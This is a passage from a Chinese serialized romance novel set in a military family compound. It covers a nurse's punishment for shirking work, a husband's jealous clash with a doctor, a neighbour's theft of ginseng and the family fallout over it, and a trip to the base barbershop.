胡春芳此时正躲在厕所里，冯雪有些不安走来走去："春芳，你说护士长不会发现你是故意的吧？" 胡春芳对着镜子理了理碎发，满不在乎地说："怕什么？我又没逼她去给那个小孩打针，谁让她傻乎乎的？" 冯雪还是忐忑："我心里慌得很，咱们快回去吧，别一会儿找不着人更麻烦。" 胡春芳"啧"了一声，不耐烦道："你可真胆小。行吧行吧，这就回去。" 两人刚走出厕所，就被另一个护士撞个正着："胡春芳！护士长正到处找你呢，你赶紧去护士站吧，再不去她该发火了。" 胡春芳心里"咯噔"一下，强装镇定道："知道了，我这就去，催什么催，上厕所都不让上啊？" 等到了护士站，胡春芳一进门就看见护士长阴沉的脸，和旁边站着的刘静怡。 她硬着头皮走过去："护士长，你找我有什么事？" 护士长冷笑一声："你觉得我找你有什么事？" 胡春芳低头摆弄着衣角："那我怎么知道？"你每天事那么多。 后面这句她没敢说出口。 护士长"啪"地拍了下桌子："我今天是让你去给那个小孩打针，你为什么要使唤静怡去？" 胡春芳开始睁眼说瞎话："我……我那时候突然肚子疼，急着上厕所。" "编！继续编！"护士长更气了，"我都看见你了！上次特地教过你怎么处理细血管，所以这次才让你去实践。结果你偷奸耍滑，还想把责任推给同事？" 她深吸一口气，"如果你是这个态度，我劝你还是辞职吧，医院不需要你这样的护士。" 胡春芳顿时慌了神："不行！护士长，我不辞职！" 她急得眼泪都要掉下来，"我...我知道错了，我下次一定好好干，别让我走。" 她好不容易托关系才进到这个军区医院，福利待遇比普通医院好太多，绝不能就这么丢了工作。 医院人手本来就紧张，护士长其实也没真想赶她走，只是想给她个教训："你先给静怡道歉吧。" 胡春芳立刻转向刘静怡，挤出几滴眼泪："对不起静怡，我今天不该把那个难搞的病人推给你......" 刘静怡抿着嘴没说话，她可没那么好心原谅坑害自己的人。 护士长冷着脸继续道：“既然你不愿辞职，那就按院规处理，扣发三个月奖金，调去急诊科值夜班一个月，全院通报批评，写三千字检讨在例会上宣读。” 胡春芳脸色一阵青一阵白，但为了保住工作，只能咬牙点头："……我接受处罚。" 护士长这才缓和了语气："记住这次教训。再有下次，直接开除！" 等胡春芳灰溜溜地离开后，护士长拍了拍刘静怡的肩膀："静怡，这次是胡春芳的不对，但你以后也要多精进技术。尤其是给病患打针这种基本功，要抓住每个练习机会。遇到困难病例不要怕，多向有经验的同事请教。" 刘静怡认真地点头："我知道的护士长。我基础比其他同事差，所以每天下班后都会在练习模型上多扎半小时的。" 护士长满意地点点头，没有领导会不喜欢懂事上进的下属。 沈晚吃饭的时候，霍沉舟出来想上趟厕所，正好看见对面张思德耐心地向一位白发苍苍的老婆婆交代用药注意事项。 张思德长相单拎出来确实不差，清秀的眉眼，鼻梁高挺，说话时唇角带着温和的笑意，整个人透着一股温润如玉的书卷气。 但是他和霍沉舟站在一起，就有点相形见绌了。 霍沉舟眯着眼看了一会，这时张思德也注意到了他，礼貌性地点了点头。 霍沉舟直接移开视线，连个回应都欠奉。 他可对觊觎自己媳妇的男人没什么好感，沈晚看不出来，他作为男人当然了解男人。 张思德看向沈晚的眼神里藏着浓浓的倾慕之情。 所以他讨厌张思德。 霍沉舟大步走向走廊尽头的卫生间。 霍沉舟刚解开皮带，水流声在安静的卫生间里格外清晰。 这时，门被推开，张思德走了进来。 他抬眼瞥见最里面站着的霍沉舟，自觉地隔了一个人的距离站定。 两个男人并排而立，谁都没有说话，空气中弥漫着一种微妙的尴尬。 第一百二十七章 你在威胁我？ 张思德清了清嗓子，率先打破沉默："霍团长又来给沈顾问送饭啊。" 霍沉舟面无表情地系好皮带，淡淡“嗯”了一声。 张思德继续道："你还挺关心沈顾问的。" 霍沉舟扯了扯唇角："我媳妇儿我不疼谁疼？留给外人疼吗？" 张思德被这话噎住，沉默地穿好裤子。 两人一前一后来到水池边。 霍沉舟慢条斯理地搓洗着手，指节分明的手背上青筋若隐若现。 张思德站在旁边洗手："霍团长，我希望你能对沈顾问从一而终地好。" 霍沉舟关上水龙头，声音冷了几分："我需要你教我怎么做？" 霍沉舟愠怒时，周身的气场陡然凌厉起来，他本就高大的身形此刻更显压迫感，下颌线条绷得极紧，那双鹰隼般的眼睛微微眯起，带着战场上磨砺出的肃杀之气。 普通人在他面前很容易胆怯，张思德明显也是胆色一般的人，之前被霍沉舟吓过那么多次，但他这次却咬着牙继续道："沈顾问医术精湛，为人正直，待人真挚，是难得一见的好姑娘......既然她选择了你，就希望你能好好对她，不要做让她伤心的事，不然......" "不然怎样？"霍沉舟冷笑一声，声音低沉危险，"你在威胁我？" 张思德比霍沉舟矮了一头，身形瘦削，站在他面前，仿佛随时能被男人一拳打趴下。 他握紧拳头，指节发白："我只是希望沈顾问能过得开心......" 霍沉舟盯着张思德半晌，努力克制住自己想打人的念头，拳头在身侧攥了又松，最终只是冷嗤一声： "张医生，与其关心我的女人，不如先管好自己的心思。" 他转身要走，又丢下一句，"还有，我媳妇儿的好，我比任何人都清楚，不需要别人指手画脚。" 等霍沉舟离开厕所后，张思德才猛地松了口气，他这才发现后背已经冒出冷汗。 ——霍沉舟这个莽夫！真不知道沈顾问到底看上他什么！ 这时，门外又进来一个男医生，看见张思德站在原地发呆，关切道："张医生，你没事吧？脸色怎么这么难看？" 张思德摘下眼镜，用力揉了揉发酸的眼眶："没事。" 他拧开水龙头，掬起一捧冷水泼在脸上，"可能是最近太累了。" 那男医生笑了一下："我说你不用给自己这么大压力吧？每天来得最早，走得最晚，同期实习医生里就你表现最好，转正肯定稳稳的。该放松的时候也得放松一下啊。" 张思德戴上眼镜，情绪已经恢复平静："怎么放松？" "你还没对象吧？"男医生促狭道，"咱们医院这么多年轻漂亮的小护士，有看对眼的赶紧下手啊！不然以后都被那些当兵的抢走了。" 张思德轻笑一声，摇了摇头："没有喜欢的。为了谈恋爱而谈恋爱，那是对人家女同志的不负责。" "你就是太死板！"男医生恨铁不成钢地叹气，"感情就是要靠主动争取。像你这样的，得孤寡到什么时候？" 张思德垂下眼眸，心里突然闪过一句话：遇到太惊艳的人，其他人便都成了将就。 他淡淡地说了句："我先走了。" 男医生摆摆手："走吧走吧，你这榆木脑袋！" …… 另一边，霍沉舟回到沈晚办公室时，她已经吃完饭了，正坐在桌前专注地翻看医书。 听到脚步声，沈晚头也不抬，随口问道："回来了？" 霍沉舟低低地"嗯"了一声，反手将门锁"咔嗒"一声扣上。 沈晚这才察觉到气氛不对，刚抬起头，还没反应过来，就被男人一把扣住手腕按在了椅背上。 霍沉舟俯身逼近，灼热的呼吸喷洒在她面中。 男人居高临下地凝视着她，那双平日里冷峻的眼眸此刻燃着灼人的火焰，像是要将她生吞活剥一般。 沈晚被他极具侵略性的眼神盯得心跳加速，不自觉地咽了口唾沫：“霍沉舟，你怎么了？” 这男人去撒了泡尿回来怎么好像还生气了？ 霍沉舟没有立即回答，而是用指腹轻轻摩挲着她纤细的手腕。 沈晚饱满的唇瓣因为惊讶而轻启，泛着水润的光泽，像是待人采撷的樱桃。 她身上这身禁欲的白大褂穿在她身上，非但没有遮掩她的美，反而平添了几分让人想要撕碎的诱惑。 沈晚刚想开口询问，霍沉舟却突然低头封住了她的唇。 沈晚先是一怔，随即便顺从地闭上眼。 …… 一吻结束，霍沉舟额头抵着她的额头，声音低哑："阿晚，你只能是我的。" 这样直白而强势的宣言，霍沉舟从未说过。 可奇怪的是，沈晚听在耳中，不仅没有反感，反而心尖像是被烫了一下，泛起一阵酥麻的悸动。 她轻笑出声：“为什么突然这么说？” 霍沉舟不正面回答，反而说："阿晚~你先答应我，只能是我的。" 他的声音低沉磁性，沈晚半边身子都酥了，连忙应道："都听你的都听你的。" 霍沉舟满意地轻哼一声，这才闷闷道："没事，就是刚才遇到了张思德。" "张医生？"沈晚一愣，下意识问，"你欺负他了？" 话音刚落，她就感觉到男人又生气了，霍沉舟眼神一暗，声音里带着受伤："我在你眼里就是这样的人？" 沈晚这才意识到说错话，赶紧捧住他的脸哄道："不是不是！我家霍团长最讲道理了……" 她凑上去亲了亲他的下巴，"我就是随口一问嘛。" 霍沉舟被她这撒娇般的动作取悦了，但面上还是绷着：“我懒得管他，他自己找死。” 沈晚还是不懂："什么意思？" 霍沉舟冷笑一声："他主动找我，把你夸得天上有地下无的让我好好对你，搞得好像我对你有多差一样。" 想起张思德那副郑重其事的样子，霍沉舟心里又冒起火气，真懊恼刚才没给他一拳。 沈晚眨了眨眼，笑出了声："就因为这个？" 第一百二十八章 山参丢了 "嗯。"霍沉舟板着脸。 "人家肯定是好心呀，"沈晚戳了戳他紧绷的俊脸，"这你有什么不高兴的？" 霍沉舟扯了扯唇角，语气危险："好心？他那是居心叵测。" 说着恶趣味地捏了捏沈晚的鼻子，"你以后离他远点，听见没？" 沈晚被他逗笑，乖巧地点头："好好好，都听你的，别生气了。" 见她这副乖巧的模样，霍沉舟眸色一深，刚想低头一亲芳泽，门外突然响起敲门声—— "沈顾问，你在里面吗？"是刘静怡的声音。 沈晚应了一声："我在。" 霍沉舟不悦地皱眉，但还是起身了把门打开了。 刘静怡站在门外，看面无表情的霍沉舟，吓得缩了缩脖子，小声打招呼："霍、霍团长……" 霍沉舟淡淡颔首，大步离开。 刘静怡走进办公室时，沈晚正坐在桌前。 细心的刘静怡一眼就发现沈晚的嘴唇异常红润，还有些微微发肿。 她顿时明白过来，脸颊"唰"地红了，自己刚才不会打扰到沈顾问和霍团长了吧？ 沈晚见她扭扭捏捏站在门口，问道："怎么了？刚才护士长把你叫走，没批评你吧？" 刘静怡连忙摇头："没有，护士长表扬了我，还处分了胡春芳。" 沈晚点点头："那就行。" 刘静怡咬了咬唇，还是没忍住，小声问道："沈顾问，我刚才是不是打扰你和霍团长了？" 沈晚面露疑惑："为什么这么问？" 刘静怡红着脸，指了指自己的嘴唇："就是……这里。" 沈晚一愣，立刻反应过来，下意识摸了摸自己的唇："很明显吗？" "……很明显。"刘静怡不好意思地笑了笑，"你和霍团长感情真好。" 沈晚干笑两声："有镜子吗？" 刘静怡找了个镜子给她。 沈晚接过来一看，镜中的自己双唇嫣红饱满，微微红肿。 这模样，任谁看了都知道刚才发生了什么。 刘静怡见她表情复杂，连忙安慰道："其实也、也没那么明显……" 沈晚把镜子还给她，无奈地揉了揉眉心："静怡，这事……" "我懂我懂！"刘静怡立刻举起三根手指，"我保证不说出去！" 沈晚被她这副郑重其事的样子逗笑了："倒也没那么严重。" 沈晚只能让刘静怡帮她找了个口罩戴上。 下午的工作依然忙碌，沈晚接连看了五六个病人。 她做事向来亲力亲为，只有在配药这类琐事上才会让刘静怡帮忙。 所以刘静怡觉得工作特别轻松，不仅能偷闲片刻，还能跟着沈晚学到不少中医知识。 刘静怡终于明白，胡春芳当初为什么想跟她换岗位，在沈顾问这儿工作也太舒服了。 临近下班，沈晚收拾好东西准备离开。 刘静怡站在一旁，眼里满是不舍，倒不是贪图轻松，而是和沈晚一起工作的时候很开心。 可惜沈晚作为顾问医师，并不需要天天来医院坐诊。 沈晚看出她的心思，笑着问："静怡，等我下次来医院，你还来帮我好不好？" 刘静怡眼睛一亮，连连点头："当然可以！只要沈顾问你不嫌弃我笨手笨脚就行。" "你不笨，"沈晚温和地拍拍她的肩，"相反你很细心，学东西也快。我相信你很快就能通过考核，正式转正的。" 刘静怡感动得眼眶发热："谢谢沈顾问......" 目送沈晚离开后，刘静怡握紧拳头，暗暗下定决心一定要更加努力。 沈晚回到家属院时，远远就看见黄春艳坐在院子里和李丽聊天。 老太太对比昨天晚上，面色红润，精神头十足，正被李丽逗得哈哈大笑，脸上的皱纹都舒展开来。 见沈晚经过，黄春艳瞥了她一眼，随即装作没看见似的移开视线。 沈晚径直往自家院子走去，刚踏上台阶，突然停住了脚步，余光扫到院子的一角。 那里原本种着几株山参，现在却被人挖走了，只留下新填的土被刻意抹平，试图掩盖痕迹。 黄春艳一直偷瞄着这边，见沈晚突然转身，心脏顿时提到了嗓子眼。 沈晚皱着眉走到那片松软的泥土前蹲下，指尖轻轻拨开表层浮土，露出下面被挖断的参须。 她眸光微冷，起身拍了拍手上的土。 如果是黄春艳来之前，她还真的不知道谁会偷她的山参，毕竟大院里的只知道她每天捣鼓草药，但是基本上都不认识她种的什么草药。 但是黄春艳来的第一天，就认出了这是可以卖钱的野山参，估计是今天趁她不在，偷偷挖了去，想出了部队再变卖吧。 她冷着脸转身就往张家走去。 院墙那头，一直偷瞄的黄春艳见沈晚突然朝自家方向走来，直接站了起来。 李丽正在择菜，被这动静吓了一跳："大娘，你怎么了？" "没、没事！"黄春艳强装镇定地摆摆手，眼睛却不住地往门口瞟。 李丽狐疑地顺着她的视线看去，正好看见沈晚去找赵晓燕了，不明白黄春艳反应怎么那么大。 赵晓燕看见沈晚过来，笑着招呼道："妹子，你回来了？" 沈晚点点头："嗯。" 赵晓燕看出她神色不对，放下手里的活："这是有事？" 沈晚简单把自己山参丢失的事说了一遍，又提到昨天黄春艳曾特意询问过山参的事。 赵晓燕听完，脸色顿时变了："我婆婆偷你山参了？" 沈晚摇摇头：“只是猜测，我现在手里也没证据。” 赵晓燕轻吸一口气，强忍着内心的火气，她是最讨厌这种偷偷摸摸的行为的。 "没事，妹子，我去她屋里翻翻，看看有没有。"赵晓燕沉着脸道，"那屋就那么大，她藏也藏不到哪里去。" 赵晓燕转身刚要往屋里走，屋门突然被推开，刚从李丽家回来的黄春艳叫住她："晓燕！" 赵晓燕脚步一顿，转头看向婆婆，强压着火气道："妈，我有个东西好像在您屋里了，想去找找。" 黄春艳一听她要进自己房间，立刻紧张地挡在前面："要找什么东西，我去给你找。你这怀着孕呢，别折腾了。" 第一百二十九章 您不道歉，我就去自首 赵晓燕心中冷笑，平日里不心疼她怀着孕干这干那，现在倒装起体贴来了？ "妈，您身体不好，更应该好好休息。"赵晓燕不动声色地绕开她，"我自己去找就行，顺便帮您收拾下屋子。" 黄春艳又急忙拦住她："我是病人，我屋里有病气，你还是少进去吧！想找什么东西，告诉妈就行。" 赵晓燕寸步不让："您身体刚好一点，还是坐着别动吧。不然要是累着了再犯病，德志回来该怪我没照顾好您了。" 黄春艳作势还要拦，沈晚突然上前一步握住她的手："大娘，今天从医院回来后，您有没有感觉哪里不舒服呀？" 她一边说着，一边不着痕迹地拉着黄春艳往旁边走："我刚才看您脸色不太好，要不要再帮您把把脉？" 黄春艳被沈晚这一打岔，注意力顿时被转移："啊？我脸色不好吗？我没什么不舒服的啊。" 趁着这个空档，赵晓燕一个闪身就钻进了婆婆的屋子。 沈晚一脸严肃道："大娘，刚才在门口我就发现您印堂发青，嘴唇泛紫，这可是心脉淤堵的征兆啊！" 黄春艳被她说得心里发毛，不自觉地摸了摸自己的脸："真有这么严重？" 沈晚笑眯眯道："要治也不难，但得记住一点——少做亏心事。老年人这心脏要是经常提心吊胆的，容易气血逆行，轻则胸闷气短，重则中风偏瘫……" 她顿了顿，又慢悠悠补充："有条件的还可以炖点参汤补补，好得更快。" 黄春艳再蠢也听出沈晚在阴阳怪气了，老脸已经涨得通红。 就这会功夫，赵晓燕已经翻起了她的的行李。 黄春艳余光瞥见："晓燕！你这是干什么！" 这时，张德志回来了。 他一进门就看见沈晚拉着自己母亲的手，先是一愣："沈同志，你怎么来了？" 黄春艳见儿子回来了，一把拽住儿子的胳膊："德志啊，你快管管你媳妇！她非说要找什么东西，把我行李翻得乱七八糟的……" 她声音慢慢带上了哭腔，"她是不是怀疑我当贼啊？" 张德志眉头紧锁，看了眼正在翻找的赵晓燕，脸色有些难看："妈，您先别急，我去问问怎么回事。" 张德志大步走进里屋，一把拉住赵晓燕的胳膊："你这是在干什么？把屋里翻得乱七八糟的！妈才刚住进来，她看了心里该多想了。" 赵晓燕甩开他的手，继续翻找："等我找到东西，就把东西收拾好。" 张德志眉头皱得更紧："你到底在找什么？有什么东西不能等妈走了之后再找？她身体才刚好一点，别让她动气。你不是也想让她早点走吗？" 赵晓燕强压心中火气，咬牙道："等我找到了，你就知道我找的是什么东西了。" 这时，外屋的黄春艳又抹起眼泪来："德志啊，妈这身体我看也好的差不多了。你给我买张火车票，我这就回家去，再也不来了，省得惹你媳妇烦......" 张德志被夹在中间，只觉得太阳穴突突直跳："妈，你这是说什么呢？沈同志，你过来劝劝你晓燕姐，别让她找了。" 沈晚站在原地没动："张大哥，赵姐是在给我找东西呢，我家的东西丢了。" 张德志更懵了："什么？你家的东西丢了，怎么在我家找？是昨晚来的时候不小心落下的吗？" 沈晚刚要开口，黄春艳突然脸色一变，捂着胸口剧烈咳嗽起来："咳咳咳......哎呦......心口疼......" 张德志连忙扶住她："妈！你没事吧？上午不是说不咳了吗？怎么突然又厉害了？" 黄春艳借势往儿子身上一靠，虚弱地摆摆手："没、没事......就是突然心口难受......你让晓燕给我倒杯水去吧。" 张德志扶着黄春艳往炕上坐："晓燕，你去给妈倒杯温水吧。" 赵晓燕还在翻找东西，冷冷道："我不去。" 张德志被她的态度弄得莫名其妙，刚要自己去倒水，突然听见赵晓燕喊了一声："找到了！" 只见赵晓燕从橱柜顶抹出三根山参，根须还带着新鲜的泥土。 张德志愣住了："你刚才在找这个？家里哪来的山参？" 赵晓燕冷笑一声："你问问你妈不就知道了？" 她走过去把山参递给沈晚，"妹子，你看看，是不是这几根？" 沈晚仔细检查后点点头："嗯，就是这几根。" 张德志这才回过味来，难怪从进门开始，媳妇就对他鼻子不是鼻子眼睛不是眼睛的。 他转头看向炕头的黄春艳，声音发沉："妈，这山参是你偷挖人家沈同志的？" 黄春艳捂着胸口哎哟哎哟地呻吟，就是不回答问题。 但张德志心里已经有数了，他深吸一口气："你怎么能偷东西呢？这在部队里，是要上军事法庭的！" 黄春艳一听，立马急了："我可是你妈！你敢把你亲妈送进去？" 张德志面色严肃："出于孝道，我不能把您送进去，但我可以自首，替您承担这个责任。" 黄春艳一听彻底慌了，心口也不疼了，咳嗽也停了，一把抓住张德志的衣袖："儿啊！你可别犯傻！妈就是看那山参有营养，想着挖点回来给你媳妇补补身子......" 张德志失望地看着母亲："妈，您这是偷窃！那都是沈同志自己上山采的，辛辛苦苦种在院子里的药材！" 黄春艳被儿子说得脸上挂不住，又羞又恼：“我这不是还回去了吗？她再种上不就行了？” 张德志说："那您先给沈同志道歉。" 黄春艳又扭捏起来："我这么大岁数了，让我跟一个小辈道歉？她把人参拿回去不就行了？" "您要是不道歉，我现在就去自首，说我偷了东西。" "你！"黄春艳气得跺脚但是又犟不过自己儿子，只好不情不愿地转向沈晚，从牙缝里挤出几个字："......对不住。" 说完，她恨铁不成钢地瞪了儿子一眼："这下总行了吧？" 第一百三十章 生个儿子不像儿子，倒像老子 张德志一脸歉意地看向沈晚："沈同志，今天这事真对不起。我妈年纪大了，有些糊涂......我赔你钱吧。" 沈晚低头看了眼手中的山参，发现有一根根须已经被胡乱挖断了，重新栽种也活不成了。她叹了口气："张大哥，赵姐，这根山参既然已经挖出来了，就按三十块钱卖给你们吧，正好可以给大娘补补身体。" 赵晓燕刚要点头答应，黄春艳就尖声叫道："三十块钱？！就这个破山参要我们三十块？还没有巴掌大呢！你今天在医院坑了我们五块钱还不够，还要来讹钱？" 沈晚看着她："大娘，您不是说在老家看见有人卖山参卖了不少钱吗？我这个已经是低价了。" "那能一样吗？"黄春艳扯着嗓子喊，"人家那是野生的，你这个谁知道是不是真的！" 张德志实在听不下去了，厉声喝道："妈！您少说两句！" 赵晓燕没有丝毫犹豫地对沈晚说："妹子，你等一下，我去给你拿钱。" 她转身快步走进主卧，不到两分钟便拿着三张大团结回来，直接塞到沈晚手里："拿着。" 沈晚接过钱，将山参递给赵晓燕："这山参要切片炖汤，一次放两三片就行，千万别过量。" 赵晓燕认真点头："我记住了。" 黄春艳眼睁睁看着三十块钱就这么给了出去，这回心口是真的疼了。 沈晚一走，她就忍不住破口大骂："你这个败家媳妇！三十块钱说给就给，那可是咱老家半年的口粮钱啊！你当钱是大风刮来的？" 张德志冷冷地问："妈，你是不是很心疼？" "废话！"黄春艳捶胸顿足，"那可是三十块啊......" "心疼就对了。这就是让您长长记性！别人的东西不能拿，拿了就得付出代价！" 黄春艳看着自己这个二儿子，气得直哆嗦："你真是翅膀硬了，跟你爹一个德行！我这是造了什么孽，生个儿子不像儿子，倒像老子！" 张德志不为所动："妈，做错事就该认。您要是还这样，以后谁还敢跟咱家来往？" 黄春艳见硬的不行，立刻捂着胸口呻吟起来："哎呦......心口疼......" 她闭着眼等了半天，却没等到儿子的关心。 再一睁眼，发现屋里早已空荡荡的，张德志和赵晓燕不知什么时候已经出去了。 黄春艳愣在原地，半晌才咬牙切齿地捶了下炕沿：“好你个赵晓燕，把我儿子都带坏了！” 沈晚从张家出来后，正好瞥见李丽鬼鬼祟祟的身影从院里溜走，这女人刚才肯定躲在院子里听了好一会儿热闹，见有人出来才跑开的。 沈晚径直回到自家院子。 她取来小锄头，在原先的土里重新挖了个小坑，小心地将山参的根须理顺，再轻轻覆上松软的泥土。 没伤到主根，再养个把月就能完全恢复了。 晚上，霍小川是和霍沉舟、顾战一起回来的。 小家伙一进家门就扑到沈晚怀里，仰着小脸告状："妈妈，老师说我头发遮眼睛了！" 沈晚仔细看了看，小家伙的头发确实有点长了，不仅额前的刘海快遮住眼睛，连后脑勺和鬓角的头发也都该修剪了。 顾战在一旁笑道："嫂子，部队有理发室，你带小川去剪就行，手艺不错还便宜。" 沈晚问："在哪啊？" "就在后勤部那边。明天我开车带你们去吧，方便些。" 沈晚转头看向霍沉舟，对方道："让顾战带你们去吧，我明天要开一整天的会。" 顾战在旁边幸灾乐祸地咧嘴笑："对呀，团长明天可忙了，但我没啥事，正好带你们去。" "行。"沈晚爽快地答应。 她正好也想修剪一下发尾，原主这一头乌黑亮丽的长发，虽然没有用任何护发产品保养，却依然柔顺如缎。 沈晚可舍不得糟蹋这么好的头发去烫什么时髦的卷发，简单修理一下就很美了。 顾战从霍家出来时，苏琴杉正好从公厕出来。 她远远就看见了顾战的身影，连忙小跑着追上来："阿战！" 顾战看见她，脸上的笑容顿时淡了几分。 这段时间，两人一直处在这种微妙的气氛中，苏琴杉能清晰地感觉到，顾战的心正在逐渐远离她，但是谁都没有戳破最后那层窗户纸，苏琴杉还在想着回老家领证。 见顾战停下来等她，苏琴杉连忙主动挽上男人的胳膊。 顾战的脚步停顿了一瞬，但最终还是没有挣脱。 苏琴杉趁机往他身上靠了靠，声音甜腻："你刚才去霍团长家了？" 顾战微微颔首："嗯。" "你们说什么了呀？"她状似随意地问道。 顾战也没瞒她："明天我带嫂子和小川去理发室剪头发。" 苏琴杉眼睛一亮，立刻缠着他道："阿战，我也想去烫个头发，你就带我一块去吧？行不行？" 顾战眉头一皱："不行。上次你对嫂子那样，还好意思到她面前去？" "哎呀~"苏琴杉厚着脸皮撒娇，"我明天再跟沈同志好好道个歉嘛。你看我这头发都多久没打理了，乱糟糟的多难看啊。" 见顾战不为所动，她干脆整个人贴上去，声音带着哭腔："你是不是嫌弃我了？连带我理个头发都不愿意......" 顾战被她缠得没办法，太阳穴突突直跳。 最终，他深深叹了口气："......那你明天和嫂子好好道个歉。" "阿战你最好了！"苏琴杉顿时喜笑颜开。 到家后，苏琴杉一边帮顾战把军装挂在门后，一边状似随意地问道："阿战，这都年底了，咱啥时候回老家呀？" 顾战往搪瓷盆里倒了点热水，搓了搓手："年底部队事多，战备值班、年终总结，还有新兵训练，暂时抽不开身。" 苏琴杉狐疑地看了他一眼，不确定他是不是故意推脱，但又不能真拿刀架在他脖子上逼他回去。 "行吧，我知道了。" 她撇撇嘴，转而提起另一件事。 第一百三十一章 又遇周凤英 "对了，我爸妈又来信了，说你上次寄的钱帮了大忙，家里房子翻新得差不多了，让我好好谢谢你。还说下次回去一定要给你炖只老母鸡补补。" 顾战甩了甩手上的水珠："嗯。你弟那个工作的事我问过了，供销社要等开春才招人，让他过了正月十五再来吧。" 苏琴杉开心起来：“真的，那太好了。” “但是你弟得能吃苦，不能说干了几天就撂挑子不干了。” "知道啦~"苏琴杉不以为意，已经开始盘算着怎么跟娘家报喜，"我明天就去给我妈拍电报！" 第二天下午，顾战把霍小川从托儿所接回来后，顺道来大院接沈晚。 沈晚从抽屉里拿了五块钱剪头发的钱揣进兜里，走到大院门口时，一眼就看见顾战正站在吉普车旁等候。 "嫂子，小川在车上呢，你和他坐一起吧。"顾战笑着打开后车门。 沈晚点点头上了车，刚系好安全带，却发现顾战迟迟没有发动车子。 她正要询问，副驾驶的门突然被拉开，精心打扮过的苏琴杉坐了进来。 沈晚有些意外地挑了挑眉，没想到苏琴杉也会同行。 "沈同志，"苏琴杉转过身，脸上堆满笑容，"上次的事真是对不起，是我情绪太激动了，回家后阿战已经批评过我了，我也深刻认识到错误了。" 沈晚淡淡地"嗯"了一声，低头帮霍小川整理衣领，没有多说什么。 车厢里一时有些安静。 顾战观察沈晚的脸色，有些忐忑地开口："嫂子，琴杉也想去理发室剪头发。你要是不愿意见到她，我现在就让她下车。" 沈晚扯了扯唇角："没事，开车吧。" 顾战这才松了口气，挂挡启动车子。 吉普车缓缓驶出家属院，沿着营区主干道往西行驶。 理发室设在部队文化活动中心的一楼，距离家属院大约十五分钟车程。 车子穿过训练场时，霍小川趴在车窗上，兴奋地看着外面正在操练的战士。 到达文化活动中心时，门口已经停了几辆军车。 理发室窗明几净，门口挂着"军人优先"的牌子，里面三张理发椅都坐满了人，还有几个战士坐在长椅上排队。 "看来要等一会儿了。"顾战停好车。 沈晚是头一次来这个文化活动中心，好奇地打量着里面："这个文化中心除了理发室，还有什么啊？" 顾战解释道："一楼是理发室和阅览室，二楼有个小型电影院，每周五晚上放电影。" "阅览室？"沈晚对这个比较感兴趣。 顾战点点头："嗯，里面有报纸杂志，还有一些军事和农业技术的书籍。嫂子，你要是想去看看，我在这帮你排队就行。" 沈晚摇摇头："算了，下次有机会再去吧。" 苏琴杉听到有电影院，立刻道："阿战，你怎么从来没跟我说部队里也有电影院啊？我们周五来看电影吧！" 顾战有些为难地皱了皱眉："周五晚上我要值夜班，没时间陪你。" “……好吧。” 闲聊的功夫，理发室里的战士已经少了大半，毕竟当兵的大多剃寸头，剪起来快得很。 "我们下车吧，去里面等。"顾战提议道。 "嗯。"沈晚应了一声。 她细心地给霍小川裹紧棉袄，牵着他的小手下了车，刚走到理发室门口，身后突然传来一道清冷的女声："顾战？" 顾战回头，看见是周凤英，有点惊喜道："周同志，这么巧，你也来理发啊？" 周凤英也没想到会这么巧，偌大的军区，竟又碰见了顾战。 她今天穿着一件深灰色风衣，搭配着同色系高领毛衣，领口别着一枚素雅的银质胸针，衬得整个人越发清冷。 寒风袭来，她利落的短发被吹得微微扬起，几缕发丝调皮地贴在光洁的额前。 她伸手将碎发拂到耳后，嘴角勾起一抹浅笑："是挺巧的。" 沈晚站在一旁，打量着这位气质出众的女子，总觉得她的五官有些眼熟，一时却又想不起在哪里见过。 就在这时，苏琴杉从车的另一侧绕了过来，挽住顾战的胳膊，娇声问道："阿战，这是谁呀？我怎么没见过？" 顾战笑着介绍道："这位是周首长的女儿，周凤英同志。" 又转向周凤英，"这是我爱人苏琴杉。" 苏琴杉一听是周首长的女儿，立刻热情地伸出手："周同志你好！" 周凤英目光扫过她挽着顾战胳膊的手，眸光微黯，随即礼貌地握了握她的手："你好。" 沈晚听到顾战介绍这是周首长的女儿，这才恍然大悟，难怪觉得眼熟，这眉眼简直和杨主任一个模子刻出来的。 顾战又连忙侧身介绍："周同志，这是霍团长的妻子沈晚同志和孩子霍小川。" 周凤英闻言，立即走到沈晚面前，主动伸出手："沈同志你好，早就听我爸妈提起过你，说你的医术很厉害。" 沈晚微微一笑，与她握手："你好，周同志。" 霍小川仰着小脑袋，甜甜地喊了声："漂亮姨姨好~" 周凤英被逗笑了，蹲下身轻轻捏了捏他的小脸："嘴巴这么甜，可和霍团长一点都不一样。" 沈晚也忍俊不禁："也不知道这孩子跟谁学的。" "那咱们先进去吧，外面冷。"周凤英站起身。 "嗯。" 两人有说有笑地走进理发室，苏琴杉脸色不太好看。 她拽了拽顾战的袖子，压低声音抱怨："这周首长的女儿是不是也见人下菜碟啊？刚才我和她打招呼，她爱搭不理的，对沈晚就那么热情。" 顾战皱眉，语气严肃："周同志性格就是这样，对谁都一样，她是冷性子，能主动和嫂子说话已经很难得了。这种话以后别再说了，让人听见多不好。" 说完，他不再理会苏琴杉，大步走进理发室。 苏琴杉在后面撅起嘴，小声抱怨道：“什么嘛，就知道胳膊肘往外拐。” 苏琴杉是最后一个走进理发室的，一进门就看到其他人已经在等候区的长椅上坐好。 顾战正坐在周凤英旁边，两人之间虽然隔着一段距离，但苏琴杉心里还是涌起一阵不舒服。 第一百三十二章 扣上思想落后的帽子 她刚才在车里就注意到了，自己下车前，这个周凤英还对顾战笑得温柔，可自己一出现，对方立刻恢复了那副冷淡模样。 女人的第六感告诉她，周凤英对顾战的感情绝对没那么简单。 苏琴杉快步走过去，冲着顾战使了个眼色："让开点，我要坐这里。" 顾战另一边已经没位置了，他干脆直接站起身："你坐吧。" 苏琴杉一屁股坐下时，故意用肩膀撞了周凤英一下，周凤英微微蹙眉，但什么也没说，只是往旁边挪了挪。 "哎哟，不好意思啊周同志。"苏琴杉假惺惺地道歉，"我这人走路就是毛毛躁躁的。" 周凤英淡淡地"嗯"了一声。 周凤英本来还想和沈晚聊几句，她对这位母亲赞不绝口的年轻女人很感兴趣，毕竟沈晚没来随军前名声并不好，可随军后短短两个月就扭转了风评，实在令人好奇。 旁边的苏琴杉却一直插话："周同志，我之前在部队都没见过你，你是在部队工作吗？" 周凤英简短回答："不是，我在外地工作，最近提前完成工作，回来陪陪父母。" 这个回答已经很详细了，可苏琴杉仍不依不饶："你在哪里上班呀？做什么工作的？" "京市外贸局。"周凤英耐着性子答道。 苏琴杉虽然不懂外贸局是干什么的，但她知道京市是大城市，不禁酸溜溜地说："京市啊，那可是大城市！果然首长的女儿就是不一样。" 